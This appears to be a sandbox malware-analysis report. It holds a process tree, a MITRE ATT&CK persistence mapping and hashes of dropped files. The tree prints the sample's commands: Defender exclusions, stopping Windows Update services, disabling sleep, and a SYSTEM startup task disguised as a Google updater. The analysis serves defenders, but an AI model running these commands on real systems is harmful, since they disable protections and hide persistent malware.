C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Executes dropped EXE
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Opcode\lxkhz\XsdType.exeC:\Users\Admin\AppData\Local\Opcode\lxkhz\XsdType.exe1⤵
-
C:\Users\Admin\AppData\Local\Opcode\lxkhz\XsdType.exeC:\Users\Admin\AppData\Local\Opcode\lxkhz\XsdType.exe2⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe4⤵
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Create or Modify System Process
2Windows Service
2Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exeFilesize
101KB
MD589d41e1cf478a3d3c2c701a27a5692b2
SHA1691e20583ef80cb9a2fd3258560e7f02481d12fd
SHA256dc5ac8d4d6d5b230ab73415c80439b4da77da1cfde18214ef601897f661abdac
SHA5125c9658f6ca0d8d067bfc76072c438ac13daa12d8c1fef33369e1bc36a592d160a2bdb22b4f3eed73e8670bb65107a4134e18e6dc604897a80cc0768769f475dc
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\65bf9ce1-802f-438c-ac19-f35e4743f2a8.tmpFilesize
10KB
MD5433fb50ef321b6c6c03f0a5b8f72aa05
SHA13bd7b47e343150d5566bc9aa9655b229fab532f1
SHA256e7c844ffab08ae02f0db3eedc3efc7378c0b0b384c7b671a2da0df2bfbeffc04
SHA5126cb33c7df8a67222f2d61782255ec7858a6ce1428a1a0ca52063656cc49ddb2d661388f94ad4eb21b09de86691d2c88af446c0b01319c431d9cb0e3c219bc669
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5e33767f943d86db2ef93b242b04d2b84
SHA12a77e11fbd386c38560b9bb6d6eb2708090f0c17
SHA25666230cd6e4071e47aa4ac1914ccd59509ca1946fce272e9d4af0fda419a96c95
SHA512c404dfe0237fec6d1eb8a9e3e00584388d8dd2e24bbc903cee6a6713f6d16a6895b89d694700316de2c5b615a2ff475095a5267c81cb8249494ab25120b125bc
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5510933ac10d83a60ca575fe02c4f3b69
SHA183b58c75efa0cd76ece018c2f0cdf5de47d3237d
SHA2566832f64054fc3c6c902200e5855086f144c4e7c3aea299210a96c439e81eb13c
SHA512c8087930fccad466fcdb8c70a20234e7d8f30b74c02784ebf33cface164ff5ea6e634aec2c3fd34314936a01941ba51935d65ce557f0bf7190b0f233af87954f
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD538c73375cadbfed84fc3b8973f3bb346
SHA10bc038a4cb1075be034fa7a7e3221b228cea9df1
SHA256dbb92682ded8ca0718490b2cae6caf28ce3c4799bee40c4df40f06a7fa02b158
SHA512236713a89124755326876489f3c2163d74e9270f3a5b69a7303450ddc929ae35eae22754967968e3cd45c7436c57e8d4ba9ea10124333cf24725e122f361752d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD538c73375cadbfed84fc3b8973f3bb346
SHA10bc038a4cb1075be034fa7a7e3221b228cea9df1
SHA256dbb92682ded8ca0718490b2cae6caf28ce3c4799bee40c4df40f06a7fa02b158
SHA512236713a89124755326876489f3c2163d74e9270f3a5b69a7303450ddc929ae35eae22754967968e3cd45c7436c57e8d4ba9ea10124333cf24725e122f361752d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD538c73375cadbfed84fc3b8973f3bb346
SHA10bc038a4cb1075be034fa7a7e3221b228cea9df1
SHA256dbb92682ded8ca0718490b2cae6caf28ce3c4799bee40c4df40f06a7fa02b158
SHA512236713a89124755326876489f3c2163d74e9270f3a5b69a7303450ddc929ae35eae22754967968e3cd45c7436c57e8d4ba9ea10124333cf24725e122f361752d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD538c73375cadbfed84fc3b8973f3bb346
SHA10bc038a4cb1075be034fa7a7e3221b228cea9df1
SHA256dbb92682ded8ca0718490b2cae6caf28ce3c4799bee40c4df40f06a7fa02b158
SHA512236713a89124755326876489f3c2163d74e9270f3a5b69a7303450ddc929ae35eae22754967968e3cd45c7436c57e8d4ba9ea10124333cf24725e122f361752d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD538c73375cadbfed84fc3b8973f3bb346
SHA10bc038a4cb1075be034fa7a7e3221b228cea9df1
SHA256dbb92682ded8ca0718490b2cae6caf28ce3c4799bee40c4df40f06a7fa02b158
SHA512236713a89124755326876489f3c2163d74e9270f3a5b69a7303450ddc929ae35eae22754967968e3cd45c7436c57e8d4ba9ea10124333cf24725e122f361752d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5a556bb6f129e6bd2dcfb5e29b7483f3c
SHA154f04d95d772d4837334739544f6871c10f24110
SHA256c88e30f34c1dd579de34700a10a25c92e55f09b47be34ef7742a01aea47f222c
SHA512405908519a2b51c42c380ebb160557fb551bbec0c015c7a6fa61acc01eaa32a6ae20895aeaa1879a4aea3b0cc6ec1754d30610a3e343105a0ea4350156a6fb2d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\1df5b890-1eb4-4fff-900e-af4f2e8557c3.tmpFilesize
111B
MD5285252a2f6327d41eab203dc2f402c67
SHA1acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA2565dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
SHA51211ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000002Filesize
20KB
MD5923a543cc619ea568f91b723d9fb1ef0
SHA16f4ade25559645c741d7327c6e16521e43d7e1f9
SHA256bf7344209edb1be5a2886c425cf6334a102d76cbea1471fd50171e2ee92877cd
SHA512a4153751761cd67465374828b0514d7773b8c4ed37779d1ecfd4f19be4faa171585c8ee0b4db59b556399d5d2b9809ba87e04d4715e9d090e1f488d02219d555
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000003Filesize
21KB
MD57d75a9eb3b38b5dd04b8a7ce4f1b87cc
SHA168f598c84936c9720c5ffd6685294f5c94000dff
SHA2566c24799e77b963b00401713a1dbd9cba3a00249b9363e2c194d01b13b8cdb3d7
SHA512cf0488c34a1af36b1bb854dea2decfc8394f47831b1670cab3eed8291b61188484cc8ab0a726a524ecdd20b71d291bcccbc2ce999fd91662aca63d2d22ed0d9f
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00003cFilesize
186KB
MD59f61d7b1098e9a21920cf7abd68ca471
SHA1c2a75ba9d5e426f34290ebda3e7b3874a4c26a50
SHA2562c209fbd64803b50d0275cfd977c57965ee91410ecf0cafa70d9f249d6357c71
SHA5123d4f945783809a88e717f583f8805da1786770d024897c8a21d758325bcd4743ff48e32a275fe2f04236248393e580d40ae5caf5d3258054ea94d20b65b2c029
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000045Filesize
33KB
MD509a51b4e0d6e59ba0955364680a41cd6
SHA10c9bf805aa43f66b8c7854ccf7c2e2873050a8c2
SHA256c96a6b48cc4325a0ea43e58c22eefc3713d8720c13ed3cdabc67372d9e1b470d
SHA512bfa291e26fdddea478b3cc96ce31ca02993194bdf73303f73ee2d021287206fb359e17fc970e7e124e3108e72877a1edc08e8848181c303f0b251379cfef0f1f
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000048Filesize
228KB
MD5bd3db8aee481dbe42ecb0a1cfc5f2f96
SHA13de1107414c4714537fba3511122e9fa88894f35
SHA256b82ea286491eaa5370e997311b41b5fc1bbc774b40e9750ebfeef27933426083
SHA512bf400c36bfc41cc82ae65ea9ad670d5319e11f0b43dd67f809935c405a0c560aed7668183dd9d5d49c83f1dd99cfd3134c87f72b0e63747209b0a8e5b3f04360
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\PreferencesFilesize
8KB
MD57c933031b05f88cb26868bbe079dadf4
SHA10f4e3740fcf36bba7b5c1f8819b689fbdc0ab83e
SHA256eedcfd858de44f67ed664cb0c8bc1265a59905d453cc79e51848f00b131bbf88
SHA512ec9d0dbbf81c80333aadc785ebc1ee414be3d1ab4701760d4a61d23e2da5b430a497dbff0cbf57e174ff4baf22ebc5e795d1754596a74ef17ba255662f25b7e9
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\PreferencesFilesize
8KB
MD5ffa8b89f4d32f6f4a670c68e083e86b2
SHA183232828b148ab405585ff52d154fbcec6bbd12d
SHA2569d9607c43bbc715edc20db09b57e8383fd3be82cd1b136fde7057f0a63737ac5
SHA5122454c6f26a34cd297cd656215cd2f7d784e862056d9bc3fc7aab27620403e268773e9e265536d547eeabe142007b93364e944e6862db3ce9e1f3ec788123f6f6
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\PreferencesFilesize
5KB
MD55a89215509c124fb574413ce610f645c
SHA1e126f4949c4ce8adcd8bfae2ee151e91b8239420
SHA256c27e72d004c5e1404b9fc3cba12f5a32ba0a498ff3daa66a84ddd1b1da4b12ed
SHA512e91ac73b448b0c711a74aaec67caee9453606c4d1cd7fcb46e6163545585939b681c668df3010420a50b4981d1793e379c78674d5a48253a648e0f6e674ffea5
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\PreferencesFilesize
8KB
MD5495f78db36f9edee7e626acbb79b07b5
SHA1212b4eae31e14f63067ac8bfe7fdfbdab589d78a
SHA2560252861359f40da2e0a3c61ecc4101c4505caca725141963640360d1941a89df
SHA512d3482e2114e3cb02dd25adf89571b7b720882bed4a5c64bf9569b45f8e1a1a7191a1cc7461556a544ff10092df624ce8ec72f6ad1b58a314c988288f1065e4f0
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\PreferencesFilesize
8KB
MD5c0d4ebf8c7057cf08566db1f0114b577
SHA1210e983573e26d6bd233d560fee4789095543125
SHA2566b46be036c117f68a471dada9c135b95aca4ec6ac4ff7b065cbd14c037b1e823
SHA5126d590d3f360fe536fa4a3dc46d86787702ce9cccf10ee838c5cd43569a698eac23a9615ce740011637be471a2f6a69b715bfe27b5a72184a0da499a6e94eeb57
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure PreferencesFilesize
24KB
MD5aa3db81e5ed16930c40f0a83dd947008
SHA1594657b7812f4eb6b515b885f6004c366f38d1cf
SHA256becaf8dcc2fd6c3fade9787edc3848cc901fd0690a4b9e1dd29ca24e1449bd71
SHA512faef7417672e0919285c95e480226b82d7272a5057ed8342557bd995631d5332f497b82ffd1f5577d37e8972ef4b30c6441974b2197df1dc19bb1a4cf907e4c2
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENTFilesize
16B
MD546295cac801e5d4857d09837238a6394
SHA144e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA2560f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA5128969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-indexFilesize
72B
MD5c3b3d5ecc41cbf28b654216b6470efe5
SHA19a697b991300f84bb5490174e70ed13266f42ecf
SHA25638e5e5534756b870fe11e25a860d657ea838c0b8f8857850403e391254aaee09
SHA512b64ac7796cbe707fd5dc85fefa36686c638b2b4639f379eb24e4b793075b30cb663a70e5541ed50553eebe6e71b440cf6bfeb666bedfb50bd79f2ed89e818062
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe585d5d.TMPFilesize
48B
MD5268cc3136663dc32ac04ffea2bbe3615
SHA134083ad603a63817ae58b29ddce823cf4ce1ecd1
SHA256dc50d8a220402c4689ae882a4832e428b2ab52db3269af484c3ded4c4faaca34
SHA512e1a6432eace1ee28dd68b1d7788bd102867891d04a455ec0e5e7450ab6506fa838e45eb58ca3294bc913dc1c8193c4cb5ed0bd7474d3695182f1f7a21b1323c8
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurityFilesize
3KB
MD55bd3e37eac06d9ba7cbface8425d7053
SHA1d55a2110b8731a8241e4480e8040f5837b8e3f29
SHA2564588cd4e9400a742ce56dfe66f685f0a3c445377a8777c567d194b74e48f357d
SHA512adbc9d952c8c777d9f4c8246da5cb917c3c0d32a49bbf67b32d304276c9aae75a6a9dce616c83e1bff4b7771704cb2697cf6dcaac7fc6365043ce090891f6902
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurityFilesize
3KB
MD53e184216b3a4c8dc0c7fc6aaa04e0af8
SHA17b6c1c6175f40cb9bfd8ccf5c94c145020ad329e
SHA25674b52e8b986de86f6e96ffff37e13fc33e7f74eeaf895d01ae2812ef5fbda771
SHA512b35e841be88af05e32c9f7630379dad7985add43f06e2ec9a23376c26de7f6ad148b7cb4a90ec9907350f3c71701bf9e919c796f26d337ce6acc23b7e7a580d5
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurityFilesize
3KB
MD55281cc41b961634dba4ea50f68d0728f
SHA1e84840d6711a4e31625a8e74bd24fb55395ab8cc
SHA256bdc2145e5c1621d55413ef095ff36c652bab1dba58268e9ba6e98ca5026509b5
SHA51269dc1c956d72ff4b35ea3b3a79039abac84e62a2f695dfe59fa7a8f852436112fbad122653aba65242ed869a397ea22359f75727df4367ea96e4b2305ffab507
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58335f.TMPFilesize
2KB
MD5c3f08fa17e33924a44ceb3a6083f9f00
SHA161edaa18de7cee9e3d2f44d56caaaec551979cc7
SHA25613f134756d5efb801606834aaee734e9f04b6ef159394350992b30e4953ac1bb
SHA51282f7dd26ce6cafeb74491a362dba19df0ec0764ad6005f284cf599877b5058caaa46d7d3e7bf01b6e62493d2fe09bd08a0ced040b8f4cf444cb9de111a6f7e4b
-
